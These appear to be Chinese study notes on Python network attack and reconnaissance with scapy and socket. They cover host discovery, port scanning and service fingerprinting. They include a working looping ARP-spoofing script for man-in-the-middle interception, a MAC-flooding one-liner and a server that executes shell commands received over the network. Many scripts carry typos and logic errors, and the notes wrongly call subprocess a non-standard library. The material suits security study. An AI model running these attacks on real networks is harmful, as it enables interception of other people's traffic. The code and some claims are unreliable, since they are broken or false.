@1kbfree
2019-03-07T03:43:34.000000Z
字数 21011
阅读 1094
未分类
时间:2018/11/21 - 2019/1/20
这个的核心任务就是信息收集--针对系统层面的:主机发现,端口扫描,指纹识别。
主动信息收集主要通过扫描实现,扫描可以在不同的网络层次实行。
二层-arp[缺陷,只能是统一个网段内的主机发现,不能跨网段]
三层-ICMP [可以跨路由了,扫描整个互联网里面的主机,就可以用这个,缺陷,很容易被拦截,不准确]
四层-TCP/UDP[准确度比三层的就要高很多了,]
在每部分的内容中都先介绍如何通过nmap来实现功能,之后通过写python脚本来实现相同的功能,机制不一样。
中主要使用的模块
scapy
可以构造各种类型的数据包,进行发送并接受回应。
socket
可以构造c/s模式的客户端和服务器。
相关的脚本
ARP欺骗[scapy ],MAC泛洪[scapy ],交互式shell[写一个服务端的软件,]
我的github:https://github.com/isMyProZXforS/stu_code
2.1 类和对象
相关的概念:
在python中一切皆对象。
isinstance判断一个实例是不是属于某一个类的
import socket
s = socket.socket()
isinstance(s, socket)
>>>True
类中有内置的函数dir()可以查看类或者对象的属性和方法。
查看类默认的属性__ dict __ ,可以查看属性以及属性的值。
通过help()函数可以查看类或对象的帮助信息。
介绍scapy 模块
https://www.gitbook.com/book/wizardforcel/scapy-docs
自己就自带了一个说明函数ls(),列出了这个模块包含的类,每一个类都针对其中一种协议
root@kali:~# scapy
WARNING: No route found for IPv6 destination :: (no default route?)
aSPY//YASa
apyyyyCY//////////YCa |
sY//////YSpcs scpCY//Pp | Welcome to Scapy
ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0
AYAsAYYYYYYYY///Ps cY//S |
pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy
SPPPP///a pP///AC//Y |
A//A cyP////C | Have fun!
p///Ac sC///a |
P////YCpc A//A | Craft packets before they craft
scccccp///pSP///p p//Y | you.
sY/////////y caa S//P | -- Socrate
cayCyayP//Ya pY/Ya |
sY/PsY////YCc aC//Yp
sc sccaCY//PCypaapyCP//YSs
spCPY//////YPSps
ccaacs
using IPython 5.8.0
>>> ls()
...[很多,都是它多支持的协议和类型]
可以根据自己的需要定义一系列的保温,并通过scapy发送出去,最后再接收回应。
scapy的优势是可以自由构造报文,另一方发是对接收到的回应只解码而不解释,它只会如实显示响应报文的内容,而不提供结论,如何来判断和利用这些响应报文,完全由我们自己决定。
scapy主要基于二、三、四层工作。
scapy除了可以作为python库使用之外,还能作为单独的工具使用。
ls()可以列出scapy支持的所有协议,每个协议都是一个类。
lsc()可以列出所有支持的方法。
可以用display()或者是show()方法查看属性信息,利用help可以查看帮助信息。
举例:
from scapy.all import *
a = ARP() #这个就是将ARP类实例化为对象a
>>> pkt = ARP()
>>> pkt.show()
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has
hwsrc= 00:0c:29:55:3d:09
psrc= 192.168.150.137
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0
>>> pkt.pdst = "192.168.192.128"
>>> result = sr1(pkt)
#这个模块有几种发包的模式:一种是只发送不接收,另一种是发送之后还需要收到回复的
#收到回复sr1--s是send的含义,r是receive 数字1 表示只要第一个回复。
#还有一个就是sr这种就是 不限制接收包的数量
>>>result.show()
#显示返回的信息了。
#加上数据帧的针头,继续深度定制
Ether().show()
#之后定制,粘合,每个协议之间用/分隔开就行,是一种由底层到高层的形式,是符合OSI的层次的
pkt = Ether()/ARP()
#有比如我要构造一个包 pkt2 = Ether()/IP()/TCP()
给对面发一个ARP的响应包
应该怎么构造?
pkt.show()
#这个时候就包含两个部分了
#可能会将默认网关的物理地址填充到Ether()部分的dst段 route -n 就可以查看
#修改一下就行了
pkt[Ether].dst = "dst MAC"
#还要修改一下操作码 1 请求 2 响应
pkt[ARP].op = 2
#修改一下目的与源的地址就OK了
#之后发送,响应包是没有回复的。 发包实在第二层的,按照你自定义的深度去使用发包的函数
#第二层:
srp1 —— 收一个 不加1则不做接收数量的限制
sendp —— 只发不收 第二层
sendp(pkt)
或者我们可以直接就是发送就可以
举例:
ans = sr1(ARP(pdst="IP"))
当多层的时候,sendp(Ether(dst="目标MAC")/ARP(pdst="目标IP",hwdst="目标MAC",op=2)),这么写,自己容易乱,所以还是建议用第一个,清晰i
还能够增加参数
ans = sr1(ARP(pdst="IP"),timeout=1,verbose=0)
如果收不到回复,会一直等,所以要有一个超时时间来阻止这种一直等待的情况,所以有timeout
verbose 参数表示是否显示详细信息,默认是1显示,改成0就行了,不用出现完成发送多少包的这种提示
最后说一下这里的发包与收报
只发不收的情况
send() 三层发包,不关心二层封装,第二层采用的是默认值
sendp() 二层发包,需要手动指定第二层如何封装
发包且接收
sr() 和 sr1() 三层发包,sr1说明只接收第一个回复,sr是全部接收
srp() 和 srp1() 二层发包,srp1只接收第一个回复
[kali中有现成的工具]
欺骗的原理:使用arp -a 查看当前的网关IP-MAC[参数 -d是清空ARP列表]。然后将网关地址与自己的MAC绑定,不断的发送free arp报文。在发送之前,要进行本机的转发配置,让这台
攻击主机能做到转发数据包的功能。做一个中间人的攻击。先做一个单向的欺骗,告诉不同的主机,网关IP+攻击方的MAC,毒化ARP列表。
欺骗的目的:将目标主机想要发给真正网关的数据,发送到攻击者的主机上去,达到一个监听信息的目的。
>>> pkt = ARP()
>>> pkt.show()
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has
hwsrc= 00:0c:29:55:3d:09
psrc= 192.168.150.137
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0
>>> pkt.pdst="目标主机IP"#我们要欺骗谁
>>> pkt.psrc="网关IP"#我们要伪造自己IP
>>> send(pkt)
#但是在对方的主机上依旧还是会留下两条关于攻击者的MAC记录,一个是欺骗的,一个是真实的。
#原因是在你设置源主机(目标主机)的时候,系统会发送一个ARP询问包,解析目标主机的MAC地址。之后才回去欺骗。通过wireshark抓包发现,就是这种先用自己的身份去解析目标主机,之后再发送欺骗。你没有定义数据帧的帧头。你只要发请求,就会留下记录,怎么不产生这条记录。
加上Ether部分就行了。---->sendp
第二层就要指定目的MAC地址为全f[ff:ff:ff:ff:ff:ff],广播地址。
问题解决。
pkt = Ether()/ARP()
pkt[Ether].dst='ff:ff:ff:ff:ff:ff'
>>> pkt.[ARP].pdst="目标主机IP"#我们要欺骗谁
>>> pkt.[ARP]psrc="网关IP"#我们要伪造自己IP
>>> sendp(pkt)
#!/usr/bin/env python
#coding=utf-8
from scapy.all import *
def arp_spoof(ip_target,ip_getway):
"""take a paket and send it"""
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_target, psrc=ip_getway)
sendp(pkt)
return
def main():
ip_target = "target ip"
ip_getway = "getway ip"
arp_spoof(ip_target,ip_getway)
if __name__ == "__main__":
main()
#之后根据需求自己加功能
改成一个像样的脚本
#!/usr/bin/env python
from scapy.all import *
import sys
import time
def arp_spoof(ip_target,ip_getway):
"""take a paket and send it"""
try:
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_target, psrc=ip_getway)
sendp(pkt)
return
except:
return
def main():
if len(sys.argv) != 3:
print "use way: ./arp_spoof.py src_ip getway_ip"
ip_target = str(sys.argv[1]).strip()
ip_getway = str(sys.argv[2]).strip()
print "spoof is running! timesleep is 0.5s"
while True:
print "spoof is running! timesleep is 0.5s"
arp_spoof(ip_target,ip_getway)
time.sleep(0.5)
if __name__ == "__main__":
main()
用自带的srpspoof 命令先试试
arpspoof -t target_IP getway_IP
这种使用方式 发送的是一个响应包。这种响应的方式必须是目标主机首先必须是有这个记录,然后才能接受有效。
使用我们自己的可以尝试,我们的是请求包,不管你之前有没有这个记录,它都会有效。
继续改进一下,加入异常捕获中的键盘异常, KeyboardInterrupt就是ctrl+c,之后输出一行空行再终止循环
#!/usr/bin/env python
from scapy.all import *
import sys
import time
def arp_spoof(ip_target,ip_getway):
"""take a paket and send it"""
try:
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_target, psrc=ip_getway)
sendp(pkt)
return
except:
return
def main():
if len(sys.argv) != 3:
print "use way: ./arp_spoof.py src_ip getway_ip"
ip_target = str(sys.argv[1]).strip()
ip_getway = str(sys.argv[2]).strip()
print "spoof is running! timesleep is 0.5s"
while True:
try:
arp_spoof(ip_target,ip_getway)
time.sleep(0.5)
except KeyboardInterrupt:
break
if __name__ == "__main__":
main()
之后开启路由转发功能就行了。
整个的ARP欺骗参考笔记就行了。
这是局域网安全,攻击交换机的。
原理:
目的:让交换机的MAC地址表溢出。当溢出之后再发送就会相当于hub了,这样就会造成之后的会变成广播。信息截获就行。kali里面有个工具叫macof,直接执行就行了。会造成当前交换机的地址表很快就满了,之后网络中的数据包到这个交换机之后就会被广播出去了。——回去抽时间整理一下怎么防御。
简单的分析一下macof 它发送的源MAC地址都是在不断变化的。
核心的问题:能够构造出MAC地址不断变化的大量数据帧,并不断的发送。
一般都是这个交换机的端口,连接的对应的MAC地址,每个端口都可以对应很多的MAC。
>>> pkt = Ether()/IP()/ICMP()
>>> pkt.show
<bound method Ether.show of <Ether type=0x800 |<IP frag=0 proto=icmp |<ICMP |>>>>
#这里随机的MAC地址有一个生成函数,可以直接用
>>> print RandMAC()
4a:b7:25:0c:86:8a
>>> print RandMAC()
11:2d:24:7e:f8:b0
>>> print RandMAC()
69:e1:7a:6d:91:58
>>> print RandMAC()
e7:63:7f:08:af:54
>>> #还有一种产生随机IP的函数
>>> print RandIP()
63.66.150.14
>>> print RandIP()
219.33.90.204
>>> print RandIP()
156.123.168.149
>>> pkt = Ether(dst=RandMAC(), src=RandMAC())/IP(dst=RandIP(), src=RandIP())/ICMP()
#因为定制化到了二层的帧头所以用二层的发送。发送层数越低,定制化程度越高。
>>> sendp(pkt,loop=1)
help(sendp) ---->找它的发送帮助,自带循环,参数选项是loop默认是0标识不循环,1标识循环发送。inter 是指定时间间隔。
信息收集:主机发现,端口扫描,指纹识别
主机发现:确定一个IP范围内,存在的主机。从而找到潜在的攻击目标。[二层,三层,四层发现]
二层发现:主要利用的是ARP协议。用于在内网进行探测。发现与攻击者处在同一个网段下的主机。优点是扫描快,可靠性高,缺点是不可以进行路由。
kali里面自带的工具,arping工具。
arping -c 3 IP
-c 指定次数,但是不能扫描整个网段的功能
首先介绍一个模块
subprocess模块的介绍与使用
subprocess模块可以用来创建一个子进程,并运行一个外部程序,通常用check_output()方法来调用系统命令。
subprocess.check_output()#父进程等待子进程完成,并返回子进程向标准输出的输出结果。
a = subprocess.check_output('ls -l', shell=True)
这里的参数shell=True时,如果要执行的程序是一个字符串,那么,函数就会直接调用系统的shell来执行指定的程序。
这里如果是arping的命令的话,需要加上-c参数指定次数,因为父进程等待子进程完成,并返回子进程向标准输出的输出结果。如果不加,他会等待子进程结束之后才会给出返回结果。导致看不到信息,一直挂起
result = subprocess.check_output("arping -c 2 IP", shell=True)
直接过的本机的IP[kali]
ifconfig eth0 | grep -w "inet" | awk '{print $2}'
这里-w表示精确匹配,awk截取第几列,或者利用cut
ifconfig eth0 | grep -w "inet" |cut -d ' ' -f 10 <-----这个数,自己去尝试
#python script about arping local net IPs
import subprocess
import sys
import time
from threading import Thread
def arping(ip):
try:
subprocess.check_output('arping -c 1 '+str(ip), shell=True)
time.sleep(0.1)
print ip," is on"
return
except:
return
def main():
host=str(sys.argv[1]).strip()
addr = host.split('.').[0]+'.'+host.split('.').[1]+'.'+host.split('.').[2]+'.'
for i in range(1,255):
ip = addr+str(i)
t = Thread(target=arping, args=(ip, ))
t.start()
if __name__ == "__main__":
main()
[工具]
netdiscover是一个专门用于二层主机发现的扫描工具,支持主动和被动两种扫描方式。
主动扫描:主动向外部发送ARP广播报文。netdiscover -r 192.168.1.0/24
被动扫描:不向外部发送ARP广播,而是将网卡设置成混杂模式,接收网络中所有的ARP广播,从而达到隐身的作用netdiscover -p
nmap(network mapper)是一款开源的网络发现和安全审计工具,包含主机发现,端口扫描,版本侦测,操作系统侦测四项基本功能。
nmap实现主机发现的关键是nmap精心构造并发送到主机的探测包。
-sn
:执行ping扫描,但是不扫描端口。
sn虽然叫做ping扫描,但是实际上是自适应的,当被扫描的目标与当前主机在同一个网段时,会自动采用ARP扫描,如果在不同网段则采用ping扫描。nmap除了发送ARP请求之外,还进行DNS反向解析,可以加上-n选项,使之不做DNS解析。
根据那本书中的脚本进行分析: “kali linux network scanning cookbook”
原理:利用ICMP协议;优点:可以路由,可以跨网段扫描;缺点:可能被防火墙过滤,导致扫描结果不准确。
ICMP协议 Internet控制消息歇息,用于在网络中传递控制消息。
ping命令就是利用了ICMP中的两种消息类型, echo request 和 echo reply。
TTL
windows默认128 Linux默认是64 数据包每经过一次路由,TTL就减一。
防火墙的设置
**针对windows server 2003 **的系统,在控制面板中,打开防火墙的设置。启用之后再高级的选项卡中,有一栏专门针对ICMP的设置,点开就行了,对应了不同的ICMP的消息类型。
针对win7,依旧是在控制面板中,选择windows防火墙,之后是高级选项。打开之后是入站规则中能够看到它默认给我们提供了几条不启用的规则,我们可以自己增加规则。
win7当中,自建规则在入站的选项中进行右键选择新建规则,根据提示,选择自定义,之后默认所有程序,然后再协议和端口的部分选择我们指定的ICMPv4,然后在自定义中选择我们所希望禁止或者通过的类型。
剩下的一路默认,或者根据自己的需求进行说明定制。
针对linux ,防火墙使用iptables来进行管理的,iptables -L
查看设置的规则;设置一条新的规则用参数-A
一般增加到INPUT里面,-p
是指定协议的类型 ;参数-j
是指定动作一般设置就是禁止的DROP
root@kali:~# iptables -A INPUT -p icmp -j DROP
root@kali:~# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP icmp -- anywhere anywhere
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
这里就多了一条规则,更改的话就用参数-R
root@kali:~# iptables -R INPUT 1 -p icmp -j ACCEPT
root@kali:~# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT icmp -- anywhere anywhere
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
清空所有规则就用参数-F
来进行清空
root@kali:~# iptables -F
root@kali:~# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
介绍一个相关的工具fping,可以看成是一个增强型的ping命令。fping只要是ping通了就返回结果不会一直请求,对于不再线的主机,发四次包就返回结果。而且可以ping一个网段参数是-g
。
如果只想显示存在的主机信息
fping -g 192.168.1.0/24 2> /dev/null |grep alve
这里2>是错误信息重定向到/dev/null这个文件黑洞下面
#!/usr/bin/env python
# coding=utf-8
import logging
logging,getLogger("scapy.runtime").setlevel(logging.ERROR)
from scapy.all import *
if len(sys.argv) != 2:
print '使用 的时候要加ip文件名'
sys.exit()
filename = str(sys.argv[1])
file = open(filename,'r')
for addr in fle:
ans = sr1(IP(dst=addr.strip())/ICMP(),timeout=1,verbose=0)
if ans == None:
pass
else:
print addr.strip()
原理
利用TCP或者UDP协议,项目表主机的响应端口发送构造好的数据包,从而或者主机是否在线。优点
可以跨网络扫描,发现过滤了ICMP消息的主机。缺点
很容易被防火墙拦截。
对于TCP掌握四个Flag标识位
FIN:断开连接,对应值1
SYN:(同步synchronous)同步信息,用于发起一个链接,对应值为2
RST:重置连接,对应值4
ACK:确认信息,对应值16
TCP的三次握手来进行这种四层发现
如果向目标主机发送一个未经请求的ACK,那么目标主机将返回一个RST包,标识中断连接请求。
flags标志位的标识方法:
F标识FIN位,S标识SYN,R标识RST,A标识ACK,默认是SYN。也可以用数值表示,F为1,S为2,R为4,A为16 所以ACK+SYN=18.
pkt = IP()/TCP()
pkt[IP].dst = '目标IP'
pkt[TCP].dport = 22 #端口任意指定,跟端口没关系
pkt[TCP].flags = 'A'
pkt[TCP].flags = 16#4/5任选一个都行。
pkt.show()
result = sr1(pkt, timeout=1, verbose=0)
if result[TCP].flags==4:
print pkt[IP].dst
def host_scan(ip):
try:
pkt = IP(dst=ip)/TCP(dport=56789,flags='A')
result = sr1(pkt, timeout=1, verbose=0)
if int(result[TCP].flags)==4:
print ip "is on !"
return
except:
return
def main():
if len(sys.argv)!=2:
print "pls give IP"
sys.exit()
address = str(sys.argv[1]).strip()
prefix = address.split('.')[0]+'.'+address.split('.')[1]+'.'+address.split('.')[2]+'.'
for i in range(1,255):
ip = grefix + str(i)
t = Thread(target=host_scan,args=(ip,))
t.start()
if __name__=="__main__":
main()
向目标主机的一个没有开放的端口发送数据,目标主机会返回一个端口不可达的ICMP报文,由此可以发现目标主机 是否在线。
如果目标主机不在线,或者目标主机在线而且是目标端口是开放的状态,那么,发送的UDP的探测数据包都不会接收到任何响应。
所以!!!重点是找那种不开放的端口进行扫描
pkt= IP()/UDP()
pkt[UDP].dst='192.168.80.10'
pkt[UDP].dport=56789
result=sr1(pkt,timeout=1, verbose=0)
result.show()
发现的原理:以返回包中的IPporto参数的值作为判断条件,确认目标主机是否返回ICMP消息。原理是IP包头中的Protocol部分用于标记上层协议类型,如果数值为1的话,标识ICMP。
result[IP].proto
这个字段的值是1
def host_scan(ip):
try:
pkt=IP(dst=ip)/UDP(port=56789)
result=sr1(pkt,timeout=1,verbose=0)
if int(pkt[IP].proto)==1:
print ip "is on"
return
except:
return
或者利用现有的工具nmap
-PA ,TCP ACK扫描
进行ACK扫描,但是不做端口扫描
nmap -PA8013 -sn -oG - 192.168.1.1/24
-sn 不做端口扫描 -oG 一行显示
-PU, UDP扫描
进行UDP扫描,但是不做端口扫描
namp -PU53333 -sn -oG - 192.168.1.1/24
TCP端口扫描都是基于三次握手的变化来判断目标端口状态。
向目标端口发送SYN数据包,如果收到SYN+ACK,则证明端口开放,但不进一步发送第三次握手的ACK,所以是半开式。
优点速度快,而且比较隐蔽,不容易在目标主机中留下记录。
pkt = IP()/TCP()
pkt[IP].dst = "192.168.1.1"
pkt[IP].dport = 22
pkt[TCP].flags = 'S'
result = sr1(pkt)
发送之后,如果目标端口开放了,返回SYN+ACK,对应数值是18;如果目标端口没有开放,返回RST+ACK,对应的数值是20。具体的参数位置是 result[TCP].flags
这个变量中存放。
代码:
from scapy.all import *
res1 = sr1(IP(dst="192.168.1.1")/TCP(flags="S",dport=80),timeout=1,verbose=0)
res1.show()
#看一下TCP中的flags是什么值,然后就能够判断端口是否开放了。
直接用nmap做这种TCP的扫描:
nmap -sS 192.168.1.1 -p 80,21,22,3306,445,6667,3389
用半开放式的TCP扫描一台主机的指定端口nmap -h|grep sS
可以查看一下他的扫描方式解释。之后可以到被扫描的主机上查看开了哪些TCP的服务:netstat -ant
如果不指定端口它会默认扫描自定义的1000个端口。
那么,扫描一下网段nmap -sS 192.168.1.1/24 -p 80,22,6667
在返回的信息中经常能够看到filtered 未知,被防火墙过滤了,暂且不知道
,如果只想看开放的端口nmap -sS 192.168.1.1 -p 80,21,22,3306,445,6667,3389 -oG - |grep open
就行了。
探测目标主机是否开放了相应的UDP端口。向目标主机响应的端口发送UDP数据包,如果没有返回的ICMP消息,则证明这个端口是开放的。判断的基础是参照3.3.2UDP发现的部分
res1 = sr1(IP(des='192.168.1.1')/UDP(dport=53),timeout=1,verbose=0)
如果是空的,输出端口号,否则的话,这个主机的53端口没有开放
用nmap直接发起的扫描命令:nmap -sU 192.168.1.1 -p 53
import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
from scapy.all import *
import time
import sys
#自己懒得写了,核心代码就是上面的部分
这些所有操作有一个前提是目标主机的防火墙是关闭的状态,当目标主机的防火墙是打开状态的时候是不行的。service iptables status
查看一下防火墙的状态
利用nmap进行探测就能够知道,nmap -sU IP -p port
一般就是filtered这种提示,被防火墙过滤了。
socket可以通过网络实现不同主机间的进程通信,网络上各种各样的服务大都是基于socket来完成通信的。
本地进程通信中可以使用PID来唯一标识一个进程,但PID只在本地唯一。
可以用‘ip+protocol+port’来唯一标识一个进程,这就是socket。
无论使用哪一种网络协议,最本质上都是在进行数据的接收和发送。
发送和接收这两个动作就是socket处理数据的主要方式。
socket采用C/S模式。
server端的数据处理流程:
创建socket ⇒ 绑定到地址和端口⇒ 等待连接⇒ 开始通信⇒ 关闭连接
客户端的处理数据流程:
创建socket⇒ 连接目标⇒ 开始通信⇒ 关闭连接。
客户端在创建socket之后,并没有绑定到地址和端口,这是由于客户端进采用的是随机端口,当客户端进程去执行连接目标的操作时,会由系统自动分配一个端口号和自身的IP地址进行组合。
socket(family,type[,protocal]) 使用给定的地址族、套接字类型、协议编号(默认为0)来创建套接字。
socket类的参数:
AF表示ADDRESS FAMILY 地址簇,
TCP使用SOCK_STREAM ,TCP在发送数据时,会将数据进行拆分,数据好像流水一样在传输,因而使stream。
UDP是将数据整体发送所以是datagram,数据报,简写DGRAM。
socket类型 | 描述 |
---|---|
socket.AF_UNIX | 只能够用于单一的Unix系统进程间通信 |
socket.AF_INET | 服务器之间网络通信使用IPv4的地址 |
socket.AF_INET6 | IPv6 |
socket.SOCK_STREAM | 流式socket , for TCP |
socket.SOCK_DGRAM | 数据报式socket , for UDP |
socket.SOCK_RAW | 原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次,SOCK_RAW也可以处理特殊的IPv4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。 |
socket.SOCK_SEQPACKET | 可靠的连续数据包服务 |
创建TCP Socket: | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) |
创建UDP Socket: | s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) |
如果服务器和客户端采用UDP进行通信的话,套接字的创建代码是
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#两个参数,一个是说明用IPv4地址,第二个说明用UDP
2、Socket 函数
注意点:
1)TCP发送数据时,已建立好TCP连接,所以不需要指定地址。UDP是面向无连接的,每次发送要指定是发给谁。
2)服务端与客户端不能直接发送列表,元组,字典。需要字符串化repr(data)。
socket函数 | 描述 |
---|---|
服务端socket函数 | |
s.bind(address) | 将套接字绑定到地址, 在AF_INET下,以元组(host,port)的形式表示地址. |
s.listen(backlog) | 开始监听TCP传入连接。backlog指定在拒绝连接之前,操作系统可以挂起的最大连接数量。该值至少为1,大部分应用程序设为5就可以了。 |
s.accept() | 接受TCP连接并返回(conn,address),其中conn是新的套接字对象,可以用来接收和发送数据。address是连接客户端的地址。 |
客户端socket函数 | |
s.connect(address) | 连接到address处的套接字。一般address的格式为元组(hostname,port),如果连接出错,返回socket.error错误。 |
s.connect_ex(adddress) | 功能与connect(address)相同,但是成功返回0,失败返回errno的值。 |
公共socket函数 | |
s.recv(bufsize[,flag]) | 接受TCP套接字的数据。数据以字符串形式返回,bufsize指定要接收的最大数据量。flag提供有关消息的其他信息,通常可以忽略。 |
s.send(string[,flag]) | 发送TCP数据。将string中的数据发送到连接的套接字。返回值是要发送的字节数量,该数量可能小于string的字节大小。 |
s.sendall(string[,flag]) | 完整发送TCP数据。将string中的数据发送到连接的套接字,但在返回之前会尝试发送所有数据。成功返回None,失败则抛出异常。 |
s.recvfrom(bufsize[.flag]) | 接受UDP套接字的数据。与recv()类似,但返回值是(data,address)。其中data是包含接收数据的字符串,address是发送数据的套接字地址。 |
s.sendto(string[,flag],address) | 发送UDP数据。将数据发送到套接字,address是形式为(ipaddr,port)的元组,指定远程地址。返回值是发送的字节数。 |
s.close() | 关闭套接字。 |
s.getpeername() | 返回连接套接字的远程地址。返回值通常是元组(ipaddr,port)。 |
s.getsockname() | 返回套接字自己的地址。通常是一个元组(ipaddr,port) |
s.setsockopt(level,optname,value) | 设置给定套接字选项的值。 |
s.getsockopt(level,optname[.buflen]) | 返回套接字选项的值。 |
s.settimeout(timeout) | 设置套接字操作的超时期,timeout是一个浮点数,单位是秒。值为None表示没有超时期。一般,超时期应该在刚创建套接字时设置,因为它们可能用于连接的操作(如connect()) |
s.gettimeout() | 返回当前超时期的值,单位是秒,如果没有设置超时期,则返回None。 |
s.fileno() | 返回套接字的文件描述符。 |
s.setblocking(flag) | 如果flag为0,则将套接字设为非阻塞模式,否则将套接字设为阻塞模式(默认值)。非阻塞模式下,如果调用recv()没有发现任何数据,或send()调用无法立即发送数据,那么将引起socket.error异常。 |
s.makefile() | 创建一个与该套接字相关连的文件 |
socket通信的流程:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('127.0.0.1',6000))
s.listen(1)
clinet,addr = s.accept()
print "connected by:" addr
client.send("welcome")
text = client.recv(1024)
print text
clinet.close()
s.close()
简单的客户端
import socket
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect(('127.0.0.1',6000))
ans = c.recv(1024)
pirnt ans
c.send("hello")
c.close()
c.connect()中的参数是元组,其中包含IP与端口号。
改进就是在客户端与服务器的通信之间进行循环,当用户输入特定的字符时候进行退出。
之后再服务器一端,当一个客户端断开之后可以继续为其他的客户进行服务,两层循环
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('127.0.0.1',6000))
s.listen(1)
while True:
client,addr = s.accept()
print "connected by:" addr
while True:
text = client.recv(1024)
print text
client.send(text)
if text == 'exit':
break
clinet.close()
服务端可以一直接收来自客户端的连接,服务端本身一直处于运行的状态。
继续改建服务器端推出只能是强制退出,会报错,导入sys模块,一旦检测到KeyboardInterupt键盘中断异常,就执行sys.exit()中断程序
出现问题:当使用send或sendall方法发送空信息的时候,会让程序卡住。
如何避免这个问题,做IF判断,
import socket
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect(("127.0.0.1",6000))
while True:
text = raw_input("Please input:").strip()
if len(text)==0:
continue
c.sendall(text)
if text == "exit":
break
ans = c.recv(1024)
print ans
c.close()
这样就利用continue跳过当前的循环,执行下一次循环。这样就过滤了。即使你输入了空消息依旧能够完成通信。
根据之前的编写,客户端不需要改,直接就用就行了,改的是服务端。
对客户端数据的处理函数改一下就行了。
def ClientHandle(client):
while True:
cmd = client.recv(1024).strip()
if not cmd:
break
result = subprocess.check_output(smd,shell=True)
client.send(result)
if cmd == "exit":
break
client.close()
这是一种,之后整理出python中可以调用系统命令的集中方式。
subproces不是标准库,需要安装。
import socket
def portScan(ip,port):
try:
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect((ip,port))
print "%s `s TCP port %d is open"%(ip, port)
except:
print "%s `s TCP port %d is closed"%(ip,port)
finally:
c.close()
def main():
ip = "192.168.1.1"
port = 22
portScan(ip,port)
if __name__ == "__main__":
main()
格式化输出,%s 是字符型 %d 是数字型
代码改进的部分:
def main():
parser = OptinParser('Usage:%prong -i <target host> -n <network> -p <target port>')
parser.add_option("-i", type='string', dest='tgtIP', help='/specify target host')
parser.add_option("-n", type='string', dest='tgtNetwork', help='specify target network')
parser.add_option("-p", type='string', dest='tgtPorts', help='specify target ports separated by comma')
tgtIP = options.tgtIP
tgtNetwork = options.tgtNetwork
tgtPorts = tgtPorts
if (tgtIP==None or tgtNetwork==None and tgtPorts==None):
print parser.usage
exit(0)
tgtPorts = tgtPorts.split(',')
if tgtIP:
for p in tgtPorts:
portScan(tgtIP,int(p))
if tgtNetwork:
prefix = tgtNetwork.split(".")[0]+'.'+tgtNetwork.split(".")[1]+'.'+tgtNetwork.split(".")[2]+'.'
for i in range(1,255):
try:
ip = prefix + str(i)
for p in tgtPoets:
t = Thread(target=portScan,atgs=(ip,int(p)))
t.start()
except KeyboardInterupt:
exit
#不考虑防火墙的因素了。
基本的服务端脚本
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(('',6000))
while True:
data,addr = s.recvfrom(1024)
print "Connected by ", addr
print 'Recvied ', data
s.sendto(data,addr)
s.close()
UDP服务器一端较TCP的减少了listen()和accept(),不需要建立连接就直接接收客户的数据。在发送数据时也与TCP不同,TCP发送数据时,已建立好TCP连接,所以不需要指定地址。UDP是面向无连接的,每次发送要指定发给谁。
基本的客户端脚本
import socket
c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
while True:
text = raw_input("Please input:")
c.sendto(text,('192.168.1.1',6000))
if text == 'exit':
break
ans = c.recv(1024)
print ans
c.close()
客户端减少了connect(),直接通过sendto直接发送。
1、识别目标端口上运行了什么服务:
比如 TCP-21 对应的是FTP服务, TCP-445 对应的samba服务等。
还要识别出这些服务的版本,比如探测到FTP服务的版本是2.3.4,或者是samba服务的版本是3.0.20,就可以知道这些版本的服务都是有漏洞的。
2、识别目标操作系统的类型:
一方面要探测出操作系统的类型(windows还是linux),另一方面还要探测出操作系统的具体版本信息(比如:windows7sp1,或者操作系统的内核Linux 2.6.9等)。[比较浅的是识别,如果你向准确的识别,你必须要有一个指纹库,每个版本都有自己独特的标志性信息作为参考]
首先怎么进行服务识别:
import socket
socket.setdefauttimeout(2)
s = socket.socket()
s.connect(('192.168.1.1',21))
ans = s.recv(1024)
s.close()
print ans
#这种方式很不严谨也很不可靠!不会是所有的服务都给你返回信息的。而且服务器一方可以任意的改动自己的banner信息的。
目标:自己能写一个获取banner信息的脚本,通过选项指定要扫描的主机以及端口(可以指定多个)
nmap通过向目标端口发送一系列发杂的探测包,并且根据返回的响应特征来分析识别服务。
要利用的选项是sV.nmap -h |grep sV
查看一下说明。
命令:nmap -sV 192.168.1.1
他就会自动的去探测了。默认扫描常用的1000个端口(自带的库),及时修改了服务端口号,依旧可以扫描出来。
利用ttl进行系统识别
linux系统的ttl值一般是在1~64之间,而windows的一般在65~128之间,(非常不严谨。可以修改)
"scapy"
res = sr1(IP(dst='192.168.1.1')/ICMP())
res[IP].ttl#输出TTL值
res[IP].src#输出源IP 192.168.1.1
res.haslayer(IP)#判断
利用nmap进行系统识别
nmap采用协议栈分析技术进行操作的识别,-O
